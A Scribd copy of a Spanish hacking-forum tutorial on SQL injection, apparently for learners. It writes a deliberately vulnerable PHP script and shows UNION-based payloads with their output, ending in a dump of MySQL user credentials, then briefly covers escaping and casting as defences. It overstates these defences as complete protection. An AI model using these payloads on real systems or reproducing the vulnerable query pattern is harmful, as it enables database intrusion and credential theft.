0% encontró este documento útil (0 votos)
124 vistas7 páginas

Guia de Inyecciones SQL

Este documento explica los ataques de inyección SQL, mostrando primero la teoría detrás de ellos y luego un ejemplo práctico de cómo explotar una vulnerabilidad de inyección SQL para extraer información de una base de datos. También cubre cómo proteger aplicaciones de este tipo de ataques.
Derechos de autor
© © All Rights Reserved
Nos tomamos en serio los derechos de los contenidos. Si sospechas que se trata de tu contenido, reclámalo aquí.
Formatos disponibles
Descarga como PDF, TXT o lee en línea desde Scribd
0% encontró este documento útil (0 votos)
124 vistas7 páginas

Guia de Inyecciones SQL

Este documento explica los ataques de inyección SQL, mostrando primero la teoría detrás de ellos y luego un ejemplo práctico de cómo explotar una vulnerabilidad de inyección SQL para extraer información de una base de datos. También cubre cómo proteger aplicaciones de este tipo de ataques.
Derechos de autor
© © All Rights Reserved
Nos tomamos en serio los derechos de los contenidos. Si sospechas que se trata de tu contenido, reclámalo aquí.
Formatos disponibles
Descarga como PDF, TXT o lee en línea desde Scribd

5/2/2014 Guia de Inyecciones SQL.

Bienvenido(a),
Visitante. Por
favor Ingresar
o Registrarse
¿Perdiste tu
email de
activación?.
| Foro | Web | Blog | Wiki | Ayuda | Buscar | Ingresar | Registrarse | 5 Febrero 2014, 04:37

Foro de elhacker.net
Seguridad Informática
Hacking Avanzado 55 0 Usuarios y 1 Visitante están
Hacking Básico (Moderadores: viendo este tema.
zhyzura, kamsky, TRICKY)
Guia de Inyecciones SQL.

Páginas: [1]

Autor Tema: Guia de Inyecciones SQL. (Leído 157 veces)

nightcode Guia de Inyecciones SQL.


« en: 30 Diciembre 2013, 14:58 »
Desconectado
Introducción a los ataques SQL Injection
Mensajes: 65 Deja un comentario
Para explicar las inyecciones SQL voy a presuponer que se tienen ciertos
conocimientos de desarrollo de aplicaciones web utilizando un lenguaje del
lado del servidor como PHP, así como el uso de SQL para realizar consultas a
una base de datos MySQL. En primer lugar veremos una explicación teórica
sobre los ataques SQL Injection. Después un ejemplo práctico de como
aprovecharse de esta vulnerabilidad para extraer información de la base de
datos y por último veremos como podemos proteger nuestras aplicaciones de
este tipo de ataques.

Teoría sobre los ataques SQL Injection


Hackea el
sistema, Los ataques SQL Injection explotan una vulnerabilidad en la validación de las
Hackea el entradas a la base de datos de una aplicación. Una inyección SQL consiste en
Mundo, inyectar un código SQL invasor dentro de otro código SQL para alterar su
funcionamiento normal haciendo que se ejecute el código invasor en la base
de datos.

La mayoría de aplicaciones webs consisten en un conjunto de operaciones


con la base de datos, por ejemplo, en un foro para crear nuevos comentarios
se insertan registros en la base de datos y para listar las entradas se
seleccionan registros en la base de datos. Estas operaciones reciben el
nombre de CRUD (Create, Retrieve, Update y Delete). Las aplicaciones son un
conjunto de módulos separados que interaccionan entre sí a través de los
enlaces y los formularios. Por lo tanto es normal que el desarrollador enlace
las distintas páginas utilizando variables que después utilizará para hacer las
consultas pertinentes a la base de datos.

Vamos a ver un ejemplo teórico para que quede claro como funcionan la
mayoría de las aplicaciones web. Imaginaros que entrais al índice principal de
un foro donde podeís ver cada categoría. Si quereis ver las entradas de cierta

http://foro.elhacker.net/hacking_basico/guia_de_inyecciones_sql-t405813.0.html 1/7
5/2/2014 Guia de Inyecciones SQL.
categoría pulsareis sobre el enlace y os mostrará las primeras entradas
paginadas.

La URL del enlace podría ser algo así (es ficticia, no entreis):

http://www.miforoinventado.com/viewforum.php?cat=3
Internamente el desarrollador realizará una consulta a la tabla de entradas y
seleccionará aquellas cuya categoría tenga un id igual a tres. La consulta
podría ser algo así:

$consulta = 'SELECT * FROM entrada


WHERE entrada.id_categoria = '.$_GET['cat'].
' ORDER BY entrada.fecha ASC
LIMIT 1,10';
Esta consulta es vulnerable a ataques SQL Injection. El desarrollador está
presuponiendo que nadie va a alterar los datos de entrada de la variable cat
y la utiliza en la consulta sin haber pasado antes algunos filtros para evitar
las inyecciones SQL. Por lo que podemos decir que este tipo de vulnerabilidad
está presente en aquellas consultas que confían en los datos de entrada del
usuario y como ya hemos dicho muchísimas veces, una regla fundamental del
desarrollo de aplicaciones web es nunca confiar en las entradas de los datos
del usuario, ya que podrían verse alteradas, ya sea porque el usuario es un
cracker que se quiere divertir o porque el gato del usuario se aburre y se ha
puesto a caminar por encima del teclado.

Ejemplo práctico de ataque SQL Injection

Vamos a ver un ejemplo sencillo para practicar las inyecciones SQL. Antes de
empezar con los ataques SQL Injection, nos preparamos un entorno seguro
de pruebas:

1. Conectamos el servidor web Apache y el servidor MySQL.

2. Creamos una base de datos llamada inyeccion.

CREATE DATABASE inyeccion;

USE inyeccion;
3. Creamos una tabla usuario donde se almacenarán los nombres de usuario
con las contraseñas de todos los usuarios que utilizen nuestra aplicación.

CREATE TABLE usuario


(
id INT(15) UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY,
login VARCHAR(30) NOT NULL,
password VARCHAR(50) NOT NULL,
email VARCHAR(50) NOT NULL
);
4. Rellenamos la tabla con datos de prueba.

INSERT INTO usuario


VALUES (NULL, 'francisco', 'password_francisco', 'email_francisco'),
(NULL, 'jose', 'password_jose', 'email_jose'),
(NULL, 'julia', 'password_julia', 'email_julia'),
(NULL, 'estefania', 'password_estefania', 'email_estefania'),
(NULL, 'pablo', 'password_pablo', 'email_pablo');
5. Desarrollamos un script PHP de prueba para inyecciones. Algo sencillo, por
ejemplo, un formulario de inicio de sesión que le pida al usuario su id y le
muestre al usuario la información que la aplicación dispone de él, es decir, su
id, su login y su email.

<html>
<head>
<title>SQL Injection</title>
</head>
<body>

<form action="inyecciones.php" method="get">


<label for="id">ID: </label>
<input type="text" id="id" name="id" />
http://foro.elhacker.net/hacking_basico/guia_de_inyecciones_sql-t405813.0.html 2/7
5/2/2014 Guia de Inyecciones SQL.
<input type="submit" value="Iniciar" />
</form>

<?php
if( isset($_GET['id']) )
{
$id = $_GET['id'];

$mysqli = new mysqli('localhost', 'root', '');

$mysqli->select_db('inyeccion');

$consulta = 'SELECT * FROM usuario WHERE id='.$id;

echo $consulta.'<br />';

$resultado = $mysqli->query($consulta);

$usuario = $resultado->fetch_row();
echo 'DATOS DEL USUARIO: <br />';
echo 'ID: '.$usuario[0].'<br />';
echo 'LOGIN: '.$usuario[1].'<br />';
echo 'EMAIL: '.$usuario[3].'<br />';

$resultado->free();

$mysqli->close();
}
?>
</body>
</html>
Como nosotros hemos sido los que hemos desarrollado el código de prueba
sabemos que la consulta es vulnerable a inyecciones SQL porque no filtra los
datos de entrada. Lo normal es no disponer del código y realizar inyecciones
a ciegas, lo que se conoce como Blind SQL Injection.

Antes de nada vamos a ver como funciona nuestro pequeño script accediendo
a él desde el navegador:

Introducimos algunos datos de prueba:

Pulsamos el botón Iniciar y vemos que nos muestra de nuevo el formulario


para seguir haciendo pruebas, la consulta que se ha ejecutado en el servidor
MySQL y los datos que ha recuperado esa consulta, el id, el login y el email:

Fijaros atentamente en la barra de dirección del navegador que es desde


donde vamos a realizar las inyecciones, en nuestro ejemplo también
podríamos inyectar desde el formulario porque estamos utilizando el método
GET de HTTP para pasar los datos al servidor.

http://localhost/pruebas/inyecciones.php?id=1
Comprobando si la aplicación es vulnerable a SQL Injection:
Para comprobar si la aplicación es vulnerable a SQL Injection lo normal es
probar alguna inyección SQL básica para ver lo que sucede.

http://localhost/pruebas/inyecciones.php?id=1 and 1=1 --

SELECT * FROM usuario WHERE id=1 and 1=1 --


DATOS DEL USUARIO:
ID: 1
LOGIN: francisco
EMAIL: email_francisco
Como podemos observar hemos inyectado nuestro primer código SQL en la
consulta y nada ha cambiado, sigue funcionando de la misma manera. Sino
fuera porque mostramos la consulta que se ejecuta en el servidor todavía no
sabríamos si la aplicación es vulnerable dado que sigue funcionando de la
http://foro.elhacker.net/hacking_basico/guia_de_inyecciones_sql-t405813.0.html 3/7
5/2/2014 Guia de Inyecciones SQL.
misma forma. Esto es así porque simplemente hemos añadido una condición a
la selección que siempre se va a cumplir, puesto que uno es igual a uno. Los
dos guiones se utilizan para comentar todo lo que venga después de la
consulta.

Para comprobar si es vulnerable añadimos una condición que nunca se


cumple y vemos que es lo que sucede.

http://localhost/pruebas/inyecciones.php?id=1 and 1=0 --

SELECT * FROM usuario WHERE id=1 and 1=0 --


DATOS DEL USUARIO:
ID:
LOGIN:
EMAIL:
¡EUREKA! Tenemos una aplicación vulnerable a SQL Injection, aunque ya lo
sabíamos desde un principio. Vemos que al añadir una condición que nunca
se va a cumplir, puesto que uno nunca va a ser igual a cero, la consulta no
devuelve ningún registro y no muestra ningún dato por pantalla.

Extrayendo datos:
Ya sabemos que nuestra aplicación es vulnerable a las inyecciones SQL. En
primer lugar vamos a extraer el número de columnas que tiene la tabla
usuario. Para poder saber el número de columnas vamos a jugar con la
opción ORDER BY de la sentencia SELECT. La cuestión es que si intentamos
ordenar los registros que seleccionamos por un número mayor de las
columnas que tengamos la consulta no devolverá ningún registro dado que
se producirá un error fatal y se abortará la ejecución del script.

http://localhost/pruebas/inyecciones.php?id=1 order by 1 --

SELECT * FROM usuario WHERE id=1 order by 1 --


DATOS DEL USUARIO:
ID: 1
LOGIN: francisco
EMAIL: email_francisco

http://localhost/pruebas/inyecciones.php?id=1 order by 2 --

SELECT * FROM usuario WHERE id=1 order by 2 --


DATOS DEL USUARIO:
ID: 1
LOGIN: francisco
EMAIL: email_francisco

http://localhost/pruebas/inyecciones.php?id=1 order by 3 --

SELECT * FROM usuario WHERE id=1 order by 3 --


DATOS DEL USUARIO:
ID: 1
LOGIN: francisco
EMAIL: email_francisco

http://localhost/pruebas/inyecciones.php?id=1 order by 4 --

SELECT * FROM usuario WHERE id=1 order by 4 --


DATOS DEL USUARIO:
ID: 1
LOGIN: francisco
EMAIL: email_francisco

http://localhost/pruebas/inyecciones.php?id=1 order by 5 --

SELECT * FROM usuario WHERE id=1 order by 5 --

Fatal error: Call to a member function fetch_row() on a


non-object in C:\wamp\www\pruebas\inyecciones.php on line 28
Hemos descubierto que la tabla usuario (aunque nosotros no sabemos
todavía que la tabla se llama usuario) tiene 4 columnas, puesto que con
ORDER BY 5 se produce un error fatal. He activado la directiva display_errors
http://foro.elhacker.net/hacking_basico/guia_de_inyecciones_sql-t405813.0.html 4/7
5/2/2014 Guia de Inyecciones SQL.
en la configuración de PHP para que muestre los errores fatales que se
producen.

Obteniendo información del servidor:


Antes de comenzar a extraer información del servidor MySQl tenemos que
explicar la sentencia UNION para unir consultas. Nuestro script está
programado para ejecutar las sentencias SQL de una en una, es decir, no
podemos ejecutar múltiples sentencias a la vez, por eso nos valemos de la
sentencia UNION que se encarga de unir los resultados de dos o más
consultas. Solo hay un inconveniente, que todas las sentencias SELECT que
unamos con UNION deben de utilizar el mismo número de columnas, por eso
hemos extraído el número de columnas anteriormente.

http://localhost/pruebas/inyecciones.php?id=-1 UNION SELECT 1,2,3,4

SELECT * FROM usuario WHERE id=-1 UNION SELECT 1,2,3,4


DATOS DEL USUARIO:
ID: 1
LOGIN: 2
EMAIL: 4
Qué estamos haciendo? Hemos unido dos consultas, una que no devuelve
ningún dato porque no existe ningún usuario con identificador negativo, y una
consulta que devuelve un 1, un 2, un 3 y un 4. De esta forma vemos como se
muestran los datos de la segunda consulta, en concreto, se muestra un 1, un
2 y un 4. Ahora podremos sustituir esos tres números en nuestra consulta
para extraer información del servidor MySQL.

Podemos utilizar algunas funciones para extraer información:


- user(): Devuelve el usuario de la base de datos.
- version(): Devuelve la versión del servidor MySQL.
- database(): Devuelve el nombre de la base de datos actual.
- current_user(): Devuelve el nombre de usuario y el del host para el que está
autenticada la conexión.
- last_insert_id(): Devuelve el último valor generado automáticamente que
fue insertado en una columna AUTO_INCREMENT.
- connection_id(): Devuelve el ID de una conexion.

http://localhost/pruebas/inyecciones.php?id=-1 UNION
user(),database(),3,version()

SELECT * FROM usuario WHERE id=-1 UNION SELECT


user(),database(),3,version()
DATOS DEL USUARIO:
ID: root@localhost
LOGIN: inyeccion
EMAIL: 5.1.36-community-log
Ya tenemos el usuario que estamos utilizando para acceder a la base de
datos, y mira que suerte, es root, así que seguramente tengamos todos los
privilegios asignados para hacer todo lo que queramos. También tenemos el
nombre de la base de datos, inyeccion, y además la versión MySQL que
estamos utilizando 5.1.36-community-log. Con todos estos datos ya
podríamos empezar a hacer cosas interesantes, pero no va de eso este
artículo.

Sigamos extrayendo informacion.

http://localhost/pruebas/inyecciones.php?id=-1 UNION SELECT


current_user(),last_insert_id(),3,connection_id()

SELECT * FROM usuario WHERE id=-1 UNION SELECT


current_user(),last_insert_id(),3,connection_id()
DATOS DEL USUARIO:
ID: root@localhost
LOGIN: 0
EMAIL: 44
Lo normal cuando encontramos una vulnerabilidad de este estilo es extraer
un usuario y una contraseña para acceder remotamente al servidor y ya
desde un entorno más sencillo, como una línea de comandos, obtener toda la
información que queramos.

http://foro.elhacker.net/hacking_basico/guia_de_inyecciones_sql-t405813.0.html 5/7
5/2/2014 Guia de Inyecciones SQL.
MySQL cuenta con una base de datos interna llamada mysql. Dentro de esta
base de datos almacena los usuarios y las contraseñas en una tabla llamada
users. Por lo tanto podemos obtener esta información inyectando una
sentencia SQL:

http://localhost/pruebas/inyecciones.php?id=-1 UNION select host, user, 3,


password from mysql.user

SELECT * FROM usuario WHERE id=-1 UNION select host, user, 3, password
from mysql.user
DATOS DEL USUARIO:
ID: localhost
LOGIN: root
EMAIL:
Vemos que el usuario es root, el servidor está en localhost dado que está en
mi ordenador, pero aquí obtendríais la dirección ip o el nombre de dominio
donde estuviera alojado el servidor, y por último que no tiene contraseña.
¡VAYA SEGURIDAD! Si tuviera contraseña os daría un hash que tendrías que
crackear utilizando por ejemplo el John The Ripper.

Ahora podemos conectarnos recomtamente en el puerto 3306 que es el que


suele usar MySQL por defecto y obtener todos los datos que queramos. Si no
podemos acceder remotamente desde la línea de comandos podemos seguir
extrayendo información mediante inyecciones haciendo uso de las tablas
mysql e information_schema.

Protegiendo nuestras aplicaciones de ataques SQL Injection:

Este tipo de vulnerabilidades son muy peligrosas y hay que aprender a


protegerse de ellas. Hay muchos trucos para ponérselo más difícil a los
atacantes. Una de las mejores soluciones es utilizar la función
mysql_real_escape_string() que se encarga de escapar los caracteres
especiales utilizados en las consultas SQL, o utilizar el método
real_escape_string() si utilizamos la versión orientada a objetos.

Podemos utilizar este método para escapar los strings que se pasen a las
consultas SQL pero si utilizamos datos numéricos en vez de cadenas
podemos comprobar que el dato de entrada es un número entero o es un
número decimal, ya sea mediante las funciones is_int() o is_float() o
realizando castings (int), (float).

Vamos a ver un ejemplo de consulta SQL que no es vulnerable a inyecciones


SQL:

$consulta= 'SELECT *
FROM categoria
WHERE id_categoria=\''.(int)$_GET['id'].'\'';

$consulta= 'SELECT *
FROM categoria
WHERE titulo=\''.mysql_real_escape_string($_GET['titulo']).'\';
De esta forma protegemos nuestras aplicaciones de todo tipo de inyecciones
SQL.

RESUMEN:

EN este artículo hemos visto que peligroso puede ser este tipo de
vulnerabilidades en nuestras aplicaciones ya que mediante inyecciones SQL
pueden obtener todos los datos que quieran de nuestra base de datos,
incluso de ficheros alojados en el servidor. Hemos practicado un poco con un
ejemplo muy sencillo. Podéis seguir practicando con el mismo ejemplo y
extraer todos los datos que querais de las tablas mysql e
information_schema, desde el nombre de todas las tablas de la base de
datos, nombres de las columnas, registros de las tablas, etc.

espero les sirva de ayuda: Att: Nightcode

En línea

http://foro.elhacker.net/hacking_basico/guia_de_inyecciones_sql-t405813.0.html 6/7
5/2/2014 Guia de Inyecciones SQL.
“Las organizaciones gastan millones de dólares en firewalls y dispositivos de
seguridad, pero tiran el dinero porque ninguna de estas medidas cubre el
eslabón más débil de la cadena de seguridad: la gente que usa y administra
los ordenadores"

Páginas: [1]

Ir a: ===> H ac king Bás ic o ir

Mensajes similares

Asunto Iniciado por Respuestas Vistas Último mensaje


Sobre inyecciones en EXE's y DLL 18 Junio 2006,
«1 2 3 » Martinss 33 3,193 21:03
P rogramac ión V is ual Bas ic por Eternal Idol

2 Octubre 2006,
DLL contra inyecciones
XP. 0 367 03:58
P rogramac ión V is ual Bas ic
por XP.
24 Septiembre
Paper: Inyecciones Dll
MazarD 9 16,210 2009, 21:42
H ac king A vanzado
por negrero3

3 Abril 2009,
Inyecciones a mi AP
50l3r 7 1,069 15:43
Wireles s en L inux
por 50l3r

6 Octubre 2013,
Inyecciones en inyecciones SQL
MichBukana 1 377 00:08
N ivel Web
por Stakewinner00

lawebdegoku MundoDivx Hispabyte Truzone ZonaPhotoshop


Seguridad Seguridad
Yashira.org indetectables.net Indejuegos
Colombia Informática
Noticias Seguridad
Internet móvil ADSL eNYe Sec
Informatica Wireless
Underground El Lado del Blog Administrador
Soluciones Web Blog Uxio
México Mal Sistemas
thehackerway Tienda Wifi

Todas las we bs afiliadas e stán libre s de publicidad e ngañosa.

Powered by SMF 1.1.19 | SMF © 2006-2008, Simple Machines

http://foro.elhacker.net/hacking_basico/guia_de_inyecciones_sql-t405813.0.html 7/7

También podría gustarte